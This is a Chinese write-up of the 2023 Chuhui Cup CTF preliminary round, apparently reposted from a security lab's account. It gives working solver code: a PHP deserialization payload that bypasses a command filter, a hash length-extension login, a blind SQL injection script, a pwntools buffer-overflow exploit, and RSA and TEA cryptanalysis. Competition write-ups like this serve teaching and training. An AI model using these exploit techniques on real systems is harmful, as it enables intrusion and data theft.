2023首届“楚慧杯”初赛WriteUp

web

eaaeval

www.zip 获取了源码，使用以下exp来生成payload即可读取flag

<?php
class Flag{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'nl';
        $this->b = '/fl*';
    }

    public function __destruct(){
        if(!preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->a) && !preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->b)){
            system($this->a.' '.$this->b);
        }else{
            echo "again?";
        }
    }
}


echo serialize(new Flag());

upload_shell

hash长度扩展攻击

import requests

url = "http://80.endpoint-8e6483aadb164b4c8a6350dd2a42df47.m.ins.cloud.dasctf.com:81/login.php"

def login():
    payload = "password%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%D8%00%00%00%00%00%00%001"
    data = {"username": "admin","password": payload}
    print(requests.post(url,data,cookies={"source": "1e89ee6ac8774ffe0a6ea5e6ff13e6ae"}).headers)

login()

获取到session后编写sql注入脚本

import requests as requests
url = "http://80.endpoint-8e6483aadb164b4c8a6350dd2a42df47.m.ins.cloud.dasctf.com:81/upload.php"

def sqli(data):
    fh = requests.post(url, files={"file": (f"' or exp(709+({data}))-- ","")},cookies={"PHPSESSID": "0f9ad87a7e22457cf0bba51ed47d54b4"}).text
    # print(fh)
    if "Warning" in fh:
        return True
    return False
# 注入点，返回条件是否成立

def sqli1(sql):
    ans = ''
    for i in range(26, 1000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            sqlitest = sqli("(ascii(substr((%s),%d,1))<%d)" % (sql,i, mid))
            if sqlitest:
                high = mid
            else:
                low = mid + 1
            mid = (low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
        print(ans)
# 二分法注入
# sqli1('123')
# sqli1('select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA')
# sqli1("select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='perf'")
# sqli1("select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='TheFl4g'")
sqli1("select  flag from flag")

PWN

ez_base

from pwn import *
import base64
context.log_level = 'debug'

#libc=ELF('./libc.so.6')

#p = process('./base')
p=remote('tcp.cloud.dasctf.com',28703)
#attach(p,'b *0x404A9Fnb *0x404B15')
p.recvuntil(':decode')

p.sendline('2')

p.recvuntil('_str:')
pay='a'*0x28+p64(0x040490D)
b = base64.b64encode(pay.encode('utf-8'))

p.sendline(b)

p.interactive()

Crypto

so-large-e

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
def get_ne():
# 读取PEM格式的RSA公钥文件
    with open('pub.pem', 'rb') as key_file:
        public_key = serialization.load_pem_public_key(
            key_file.read(),
            backend=default_backend()
        )

    # 提取公钥的n和e值
    n_value = public_key.public_numbers().n
    e_value = public_key.public_numbers().e

    print(f'n: {hex(n_value)}')
    print(f'e: {hex(e_value)}')
N= 0xa5ed986d5c338815d4a79de8ed3a7d9639d72acb3aef28c5454c8a92c8f5774e48f99bd11373fae5bcb24b710bc8d15eadafebb94eafb3a96050cecbd1b2f2adf9aa74256f2ea74a83d67188bdc25576c5808ddb1eec01ff377fb183c36b1f79ced0e216ccca64187fb84d5b0e06ef0c9e19d1f52c53903a7e814b47b4f47f6b
e= 0xa18e9d8f15fa4257886b5723c9aca3f68076d6fa8ee604d89477702f51c6e4afbac0e928f7b54df7c86288a176e6642e2b58d72eaabb2808fbc8165fd81d83ca5433a5d8f94b683562fd0e44ca61a451f3d7a19b12731be466d90eb7d5d8e3058478332dc45fecc275749e10144891076a614bde2d0f0167fdb8175d561787e1
c = 6838759631922176040297411386959306230064807618456930982742841698524622016849807235726065272136043603027166249075560058232683230155346614429566511309977857815138004298815137913729662337535371277019856193898546849896085411001528569293727010020290576888205244471943227253000727727343731590226737192613447347860

from Crypto.Util.number import *

"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""
debug = False

"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct
upperbound on the determinant. Note that this
doesn't necesseraly mean that no solutions
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False

"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""
helpful_only = True
dimension_min = 7  # stop removing if lattice reaches that dimension


############################################
# Functions
##########################################

# display stats on helpful vectors
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii, ii] >= modulus:
            nothelpful += 1

    print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")


# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii, jj] == 0 else 'X'
            if BB.dimensions()[0] < 60:
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        print(a)


# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
    # end of our recursive function
    if current == -1 or BB.dimensions()[0] <= dimension_min:
        return BB

    # we start by checking from the end
    for ii in range(current, -1, -1):
        # if it is unhelpful:
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # let's check if it affects other vectors
            for jj in range(ii + 1, BB.dimensions()[0]):
                # if another vector is affected:
                # we increase the count
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj

            # level:0
            # if no other vectors end up affected
            # we remove it
            if affected_vectors == 0:
                # print("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                return BB

            # level:1
            # if just one was affected we check
            # if it is affecting someone else
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # if it is affecting even one vector
                    # we give up on this one
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # remove both it if no other vector was affected and
                # this helpful vector is not helpful enough
                # compared to our unhelpful one
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(
                        bound - BB[ii, ii]):
                    # print("* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                    return BB
    # nothing happened
    return BB


""" 
Returns:
* 0,0   if it fails
* -1,-1 if `strict=true`, and determinant doesn't bound
* x0,y0 the solutions of `pol`
"""


def boneh_durfee(pol, modulus, mm, tt, XX, YY):
    """
    Boneh and Durfee revisited by Herrmann and May

    finds a solution if:
    * d < N^delta
    * |x| < e^delta
    * |y| < e^0.5
    whenever delta < 1 - sqrt(2)/2 ~ 0.292
    """

    # substitution (Herrman and May)
    PR.<u,x,y> = PolynomialRing(ZZ)
    Q = PR.quotient(x * y + 1 - u)  # u = xy + 1
    polZ = Q(pol).lift()

    UU = XX * YY + 1

    # x-shifts
    gg = []
    for kk in range(mm + 1):
        for ii in range(mm - kk + 1):
            xshift = x ^ ii * modulus ^ (mm - kk) * polZ(u, x, y) ^ kk
            gg.append(xshift)
    gg.sort()

    # x-shifts list of monomials
    monomials = []
    for polynomial in gg:
        for monomial in polynomial.monomials():
            if monomial not in monomials:
                monomials.append(monomial)
    monomials.sort()

    # y-shifts (selected by Herrman and May)
    for jj in range(1, tt + 1):
        for kk in range(floor(mm / tt) * jj, mm + 1):
            yshift = y ^ jj * polZ(u, x, y) ^ kk * modulus ^ (mm - kk)
            yshift = Q(yshift).lift()
            gg.append(yshift)  # substitution

    # y-shifts list of monomials
    for jj in range(1, tt + 1):
        for kk in range(floor(mm / tt) * jj, mm + 1):
            monomials.append(u ^ kk * y ^ jj)

    # construct lattice B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](0, 0, 0)
        for jj in range(1, ii + 1):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU, XX, YY)

    # Prototype to reduce the lattice
    if helpful_only:
        # automatically remove
        BB = remove_unhelpful(BB, monomials, modulus ^ mm, nn - 1)
        # reset dimension
        nn = BB.dimensions()[0]
        if nn == 0:
            print("failure")
            return 0, 0

    # check if vectors are helpful
    if debug:
        helpful_vectors(BB, modulus ^ mm)

    # check if determinant is correctly bounded
    det = BB.det()
    bound = modulus ^ (mm * nn)
    if det >= bound:
        # print("We do not have det < bound. Solutions might not be found.")
        # print("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            # print("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1, -1
    else:
        print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus ^ mm)

    # LLL
    if debug:
        print("optimizing basis of the lattice via LLL, this can take a long time")

    BB = BB.LLL()

    if debug:
        print("LLL is done!")

    # transform vector i & j -> polynomials 1 & 2
    if debug:
        print("looking for independent vectors in the lattice")
    found_polynomials = False

    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            # for i and j, create the two polynomials
            PR.<w,z> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](w * z + 1, w, z) * BB[pol1_idx, jj] / monomials[jj](UU, XX, YY)
                pol2 += monomials[jj](w * z + 1, w, z) * BB[pol2_idx, jj] / monomials[jj](UU, XX, YY)

            # resultant
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)

            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                # print("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break

    if not found_polynomials:
        # print("no independant vectors could be found. This should very rarely happen...")
        return 0, 0

    rr = rr(q, q)

    # solutions
    soly = rr.roots()

    if len(soly) == 0:
        # print("Your prediction (delta) is too small")
        return 0, 0

    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]

    #
    return solx, soly


delta = .271  # this means that d < N^delta
m = 8  # size of the lattice (bigger the better/slower)
t = int((1 - 2 * delta) * m)  # optimization from Herrmann and May
X = 2 * floor(N ^ delta)  # this _might_ be too much
Y = floor(N ^ (1 / 2))  # correct if p, q are ~ same size
P.<x,y> = PolynomialRing(ZZ)
A = int((N + 1) / 2)
pol = 1 + x * (A + y)

solx, soly = boneh_durfee(pol, e, m, t, X, Y)

d = int(pol(solx, soly) / e)
print(d)

d = 663822343397699728953336968317794118491145998032244266550694156830036498673227937
N = 0xa5ed986d5c338815d4a79de8ed3a7d9639d72acb3aef28c5454c8a92c8f5774e48f99bd11373fae5bcb24b710bc8d15eadafebb94eafb3a96050cecbd1b2f2adf9aa74256f2ea74a83d67188bdc25576c5808ddb1eec01ff377fb183c36b1f79ced0e216ccca64187fb84d5b0e06ef0c9e19d1f52c53903a7e814b47b4f47f6b
e = 0xa18e9d8f15fa4257886b5723c9aca3f68076d6fa8ee604d89477702f51c6e4afbac0e928f7b54df7c86288a176e6642e2b58d72eaabb2808fbc8165fd81d83ca5433a5d8f94b683562fd0e44ca61a451f3d7a19b12731be466d90eb7d5d8e3058478332dc45fecc275749e10144891076a614bde2d0f0167fdb8175d561787e1
c = 6838759631922176040297411386959306230064807618456930982742841698524622016849807235726065272136043603027166249075560058232683230155346614429566511309977857815138004298815137913729662337535371277019856193898546849896085411001528569293727010020290576888205244471943227253000727727343731590226737192613447347860
from Crypto.Util.number import *
print(long_to_bytes(pow(c,d,N)))

Matrixequation

2021 Crypto CTF的Onlude原题：https://github.com/killua4564/2021-Crypto-CTF/tree/master/Onlude

import re
import string

alphabet = string.printable[:71]
p = len(alphabet)

with open('./output', 'r') as f:
  data = f.read().split('n')[:-1]

data = [re.findall(r'd+', d) for d in data]
data = [[Integer(di) for di in d] for d in data]

n = 11
E = matrix(GF(p), data[:11])
LUL = matrix(GF(p), data[11: 22])
ULUL = matrix(GF(p), data[22: 33])
RiLU8 = matrix(GF(p), data[33: 44])

Ui = LUL * ULUL^(-1)
Ri = RiLU8 * Ui * (ULUL^(-1))^3 * LUL^(-1)
U = Ui^(-1)
assert Ri * (LUL * U)^4 == RiLU8

R = Ri^(-1)
AR = Ui * E
A = AR - R
print(A)


flag = ''
for k in range(24):
  i, j = 5*k // 11, 5*k % 11
  flag += alphabet[A[i, j]]
print(flag)
  

from hashlib import md5
finalflag = 'DASCTF{' + f'{md5(flag.encode()).hexdigest()}' + '}'
print(finalflag)

# DASCTF{3529d01631d8436edca1c78ad82b6f26}

Reverse

Babyre

插件识别出了 TEA

已经识别出算法，网上有很多写 TEA 的脚本

#include <iostream>
#include <stdio.h>
#include <stdint.h>
void jm(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x61C88647;
    for (i = 0; i < num_rounds; i++)
    {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum -= delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
    }
    v[0] = v0;
    v[1] = v1;
}
void dm(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], delta = 0x61C88647, sum = 0xc6ef3720;
    for (i = 0; i < num_rounds; i++)
    {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
        sum += delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0] = v0;
    v[1] = v1;
}
int main()
{
    uint32_t enc[] = { 0x168f8672, 0x2dbd824, 0xcf647fca, 0xe6efa7ef, 0x4ae016f0, 0xc5832e1d, 0x455c0a05, 0xffeb8140, 0xbe9561ef, 0x7f819e23, 0x3bc04269, 0xc68b825b, 0xe6a5b1f0, 0xbd03cbbd, 0xa9b3ce0e, 0x6c85e6e7, 0x9f5c71ef, 0x3be4bd57 };
    uint32_t key[4] = { 0xDEADBEEF, 0x87654321, 0xFACEB00C, 0xCAFEBABE };
    unsigned int r = 32;
    int n = sizeof(enc) / sizeof(uint32_t);
    for (int i = 0; i < n / 2; i++)
    {
        dm(r, &enc[i * 2], key);
        printf("%s", &enc[i * 2]);
    }
    return 0;
}

原文始发于微信公众号（山石网科安全技术研究院）：2023首届“楚慧杯”初赛WriteUp